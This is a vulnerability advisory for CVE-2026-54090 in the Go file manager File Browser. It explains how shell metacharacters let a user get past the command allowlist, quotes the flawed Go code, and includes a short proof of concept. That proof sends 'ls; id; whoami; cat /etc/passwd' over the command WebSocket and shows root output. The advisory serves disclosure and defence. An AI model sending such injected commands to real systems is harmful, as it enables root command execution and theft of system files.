CVE-2026-54090: File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
Published Jun 12, 2026 · Updated Jul 21, 2026
Affected packages
github.com/filebrowser/filebrowser/v2
- Ecosystem
- Go
- Affected
- < 2.33.8
- Fixed in
- 2.33.8
- Check
go list -m github.com/filebrowser/filebrowser/v2
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
[!NOTE] > This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed. > > For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Summary
When a shell interpreter is configured (e.g. /bin/sh -c), the command allowlist can be bypassed through shell metacharacters. The allowlist validates only the first token of user input, but the entire raw string is handed to the shell — semicolons, pipes, backticks, and $() all work to chain arbitrary commands after a permitted one.
This is a distinct issue from CVE-2025-52995 (regex partial matching, fixed in 2.33.10) and CVE-2025-52903 (GTFOBins-style subcommands). The slices.Contains fix does not prevent this bypass.
Affected Location
runner/parser.go, functionParseCommand(lines 10-25)http/commands.go, functioncommandsHandler(lines 72-86)
Root Cause
ParseCommand extracts the first token via SplitCommandAndArgs for the allowlist check, then passes the entire raw input to the shell:
func ParseCommand(s *settings.Settings, raw string) (command []string, name string, err error) {
name, args, err := SplitCommandAndArgs(raw)
if len(s.Shell) == 0 || s.Shell[0] == "" {
command = append(command, name)
command = append(command, args...)
} else {
command = append(command, s.Shell...)
command = append(command, raw) // full user input, metacharacters included
}
return command, name, nil
}In commandsHandler:
if !slices.Contains(d.user.Commands, name) { // name = "ls", passes
// reject
}
cmd := exec.Command(command[0], command[1:]...)
// actually executes: /bin/sh -c "ls; id; cat /etc/shadow"name is ls — allowed. But /bin/sh -c interprets the rest.
PoC
Prerequisites:
- Command execution enabled (
--disable-exec=false) - Shell configured to
/bin/sh -c - User has Execute permission with an allowlist, e.g.
git,ls,cat
Steps:
- Log in, grab a JWT:
POST /api/login
{"username":"admin","password":"..."}- Open a WebSocket to
/api/command/with headerX-Auth: <jwt>.
- Send:
ls; id; whoami; cat /etc/passwd- All four commands execute and output is returned. Sending just
whoamialone returns "Command not allowed." — the allowlist is active but bypassable.
Output:
bin
etc
home
...
===BYPASS===
uid=0(root) gid=0(root) groups=0(root),10(wheel)
root
root:x:0:0:root:/root:/bin/shTested against commit d236f1c (frontend v3.0.0) on the official Docker image filebrowser/filebrowser:latest.
Impact
Any user with Execute permission and at least one allowed command can run arbitrary OS commands at the privilege level of the server process. In the default container this is root.
Credited to RajChowdhury240.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-62683
File Browser: Trailing-slash directory deletion leaves public shares active for recreated paths
low3.1Nov 13, 2026CVE-2026-55667
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
high8.2Jul 20, 2026CVE-2026-55668
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
medium6.3Jul 20, 2026CVE-2026-62684
File Browser: Share API exposes the password hash and bypass token
low2.7Jul 20, 2026CVE-2026-62685
File Browser: Colliding username normalization gives two users the same home directory
high8.1Jul 20, 2026CVE-2026-62843
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
medium6.8Jul 20, 2026
